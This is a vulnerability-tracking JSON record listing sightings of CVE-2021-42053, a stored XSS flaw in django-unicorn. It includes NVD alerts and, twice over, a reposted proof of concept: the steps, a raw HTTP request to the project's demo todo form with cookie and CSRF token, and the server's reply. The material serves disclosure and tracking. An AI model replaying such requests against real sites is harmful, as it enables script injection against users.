{"vulnerability": "CVE-2021-42053", "sightings": [{"uuid": "7ea0f19c-8632-4148-b134-5d229e097faa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42053", "type": "seen", "source": "https://t.me/cibsecurity/30307", "content": "\u203c CVE-2021-42134 \u203c\n\nThe Unicorn framework before 0.36.1 for Django allows XSS via a component. NOTE: this issue exists because of an incomplete fix for CVE-2021-42053.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-11T07:23:28.000000Z"}, {"uuid": "a0a700db-0233-4047-8845-562260a3d115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42053", "type": "seen", "source": "https://t.me/cibsecurity/30151", "content": "\u203c CVE-2021-42053 \u203c\n\nThe Unicorn framework through 0.35.3 for Django allows XSS via component.name.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-07T12:33:24.000000Z"}, {"uuid": "08f371c1-944d-4c5c-a853-27f6e43316ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42053", "type": "seen", "source": "https://t.me/hacking_Attack/26840", "content": "Exploit Collector\ndjango-unicorn 0.35.3 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png \ndjango-unicorn versions 0.35.3 and below suffer from persistent cross site scripting vulnerability.\n\nMD5 | 3e1eaca5d1e44c6dfb0341c2660a27af\n\nDownload\n# Exploit Title: django-unicorn 0.35.3 - Stored Cross-Site Scripting (XSS) \n# Date: 10/7/21\n# Exploit Author: Raven Security Associates, Inc. (ravensecurity.net)\n# Software Link: https://pypi.org/project/django-unicorn/\n# Version: <=\n# CVE: CVE-2021-42053\n\ndjango-unicorn <=\n\nStep 1: Go to www.django-unicorn.com/unicorn/message/todo\nStep 2: Enter an xss payload in the todo form (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).\nPOC:\n\nPOST /unicorn/message/todo HTTP/2\nHost: www.django-unicorn.com\nCookie: csrftoken=EbjPLEv70y1yPrNMdeFg9pH8hNVBgkrepSzuMM9zi6yPviifZKqQ3uIPJ4hsFq3z\nContent-Length: 258\nSec-Ch-Ua: \"\";Not A Brand\"\";v=\"\"99\"\", \"\"Chromium\"\";v=\"\"94\"\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nContent-Type: text/plain;charset=UTF-8\nAccept: application/json\nX-Requested-With: XMLHttpRequest\nX-Csrftoken: EbjPLEv70y1yPrNMdeFg9pH8hNVBgkrepSzuMM9zi6yPviifZKqQ3uIPJ4hsFq3z\nSec-Ch-Ua-Platform: \"\"Linux\"\"\nOrigin: https://www.django-unicorn.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://www.django-unicorn.com/examples/todo\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\n\n{\"\"id\"\":\"\"Q43GSmJh\"\",\"\"data\"\":{\"\"task\"\":\"\"\"\",\"\"tasks\"\":[]},\"\"checksum\"\":\"\"4ck2yTwX\"\",\"\"actionQueue\"\":[{\"\"type\"\":\"\"syncInput\"\",\"\"payload\"\":{\"\"name\"\":\"\"task\"\",\"\"value\"\":\"\"x \"\"}},{\"\"type\"\":\"\"callMethod\"\",\"\"payload\"\":{\"\"name\"\":\"\"add\"\"},\"\"partial\"\":{}}],\"\"epoch\"\":1633578678871}\n\n-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n\nHTTP/2 200 OK\nDate: Thu, 07 Oct 2021 03:51:18 GMT\nContent-Type: application/json\nX-Frame-Options: DENY\nX-Content-Type-Options: nosniff\nReferrer-Policy: same-origin\nVia: 1.1 vegur\nCf-Cache-Status: DYNAMIC\nExpect-Ct: max-age=604800, report-uri=\"\"https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct\"\"\nReport-To: {\"\"endpoints\"\":[{\"\"url\"\":\"\"https:\\/\\/a.nel.cloudflare.com\\/report\\/v3?s=b4nQavto8LK9ru7JfhbNimKP71ZlMtduJTy6peHCwxDVWBH2Mkn0f7O%2FpWFy1FgPTd6Z6FmfkYUw5Izn59zN6kTQmjNjddiPWhWCWZWwOFiJf45ESQxuxr44UeDv3w51h1Ri6ESnNE5Y\"\"}],\"\"group\"\":\"\"cf-nel\"\",\"\"max_age\"\":604800}\nNel: {\"\"success_fraction\"\":0,\"\"report_to\"\":\"\"cf-nel\"\",\"\"max_age\"\":604800}\nServer: cloudflare\nCf-Ray: 69a42b973f6a6396-ORD\nAlt-Svc: h3=\"\":443\"\"; ma=86400, h3-29=\"\":443\"\"; ma=86400, h3-28=\"\":443\"\"; ma=86400, h3-27=\"\":443\"\"; ma=86400\n\n{\"\"id\"\": \"\"Q43GSmJh\"\", \"\"data\"\": {\"\"tasks\"\": [\"\"x \"\"]}, \"\"errors\"\": {}, \"\"checksum\"\": \"\"ZQn54Ct4\"\", \"\"dom\"\": \"\"\n\\n\\n\\n\\nAdd\\n\n\\n\\n\n* x \\n\n\\nClear all tasks\\n\n\\n\n\\n\"\", \"\"return\"\": {\"\"method\"\": \"\"add\"\", \"\"params\"\": [], \"\"value\"\": null}}\"\n\"ENDTEXT\"\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:17.987754Z"}, {"uuid": "8c9e4e90-9f95-4034-be16-54a95c2b72fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42053", "type": "seen", "source": "https://t.me/hacking_Attack/26840", "content": "Exploit Collector\ndjango-unicorn 0.35.3 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png \ndjango-unicorn versions 0.35.3 and below suffer from persistent cross site scripting vulnerability.\n\nMD5 | 3e1eaca5d1e44c6dfb0341c2660a27af\n\nDownload\n# Exploit Title: django-unicorn 0.35.3 - Stored Cross-Site Scripting (XSS) \n# Date: 10/7/21\n# Exploit Author: Raven Security Associates, Inc. (ravensecurity.net)\n# Software Link: https://pypi.org/project/django-unicorn/\n# Version: <=\n# CVE: CVE-2021-42053\n\ndjango-unicorn <=\n\nStep 1: Go to www.django-unicorn.com/unicorn/message/todo\nStep 2: Enter an xss payload in the todo form (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).\nPOC:\n\nPOST /unicorn/message/todo HTTP/2\nHost: www.django-unicorn.com\nCookie: csrftoken=EbjPLEv70y1yPrNMdeFg9pH8hNVBgkrepSzuMM9zi6yPviifZKqQ3uIPJ4hsFq3z\nContent-Length: 258\nSec-Ch-Ua: \"\";Not A Brand\"\";v=\"\"99\"\", \"\"Chromium\"\";v=\"\"94\"\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nContent-Type: text/plain;charset=UTF-8\nAccept: application/json\nX-Requested-With: XMLHttpRequest\nX-Csrftoken: EbjPLEv70y1yPrNMdeFg9pH8hNVBgkrepSzuMM9zi6yPviifZKqQ3uIPJ4hsFq3z\nSec-Ch-Ua-Platform: \"\"Linux\"\"\nOrigin: https://www.django-unicorn.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://www.django-unicorn.com/examples/todo\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\n\n{\"\"id\"\":\"\"Q43GSmJh\"\",\"\"data\"\":{\"\"task\"\":\"\"\"\",\"\"tasks\"\":[]},\"\"checksum\"\":\"\"4ck2yTwX\"\",\"\"actionQueue\"\":[{\"\"type\"\":\"\"syncInput\"\",\"\"payload\"\":{\"\"name\"\":\"\"task\"\",\"\"value\"\":\"\"x \"\"}},{\"\"type\"\":\"\"callMethod\"\",\"\"payload\"\":{\"\"name\"\":\"\"add\"\"},\"\"partial\"\":{}}],\"\"epoch\"\":1633578678871}\n\n-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n\nHTTP/2 200 OK\nDate: Thu, 07 Oct 2021 03:51:18 GMT\nContent-Type: application/json\nX-Frame-Options: DENY\nX-Content-Type-Options: nosniff\nReferrer-Policy: same-origin\nVia: 1.1 vegur\nCf-Cache-Status: DYNAMIC\nExpect-Ct: max-age=604800, report-uri=\"\"https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct\"\"\nReport-To: {\"\"endpoints\"\":[{\"\"url\"\":\"\"https:\\/\\/a.nel.cloudflare.com\\/report\\/v3?s=b4nQavto8LK9ru7JfhbNimKP71ZlMtduJTy6peHCwxDVWBH2Mkn0f7O%2FpWFy1FgPTd6Z6FmfkYUw5Izn59zN6kTQmjNjddiPWhWCWZWwOFiJf45ESQxuxr44UeDv3w51h1Ri6ESnNE5Y\"\"}],\"\"group\"\":\"\"cf-nel\"\",\"\"max_age\"\":604800}\nNel: {\"\"success_fraction\"\":0,\"\"report_to\"\":\"\"cf-nel\"\",\"\"max_age\"\":604800}\nServer: cloudflare\nCf-Ray: 69a42b973f6a6396-ORD\nAlt-Svc: h3=\"\":443\"\"; ma=86400, h3-29=\"\":443\"\"; ma=86400, h3-28=\"\":443\"\"; ma=86400, h3-27=\"\":443\"\"; ma=86400\n\n{\"\"id\"\": \"\"Q43GSmJh\"\", \"\"data\"\": {\"\"tasks\"\": [\"\"x \"\"]}, \"\"errors\"\": {}, \"\"checksum\"\": \"\"ZQn54Ct4\"\", \"\"dom\"\": \"\"\n\\n\\n\\n\\nAdd\\n\n\\n\\n\n* x \\n\n\\nClear all tasks\\n\n\\n\n\\n\"\", \"\"return\"\": {\"\"method\"\": \"\"add\"\", \"\"params\"\": [], \"\"value\"\": null}}\"\n\"ENDTEXT\"\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:46.012240Z"}]}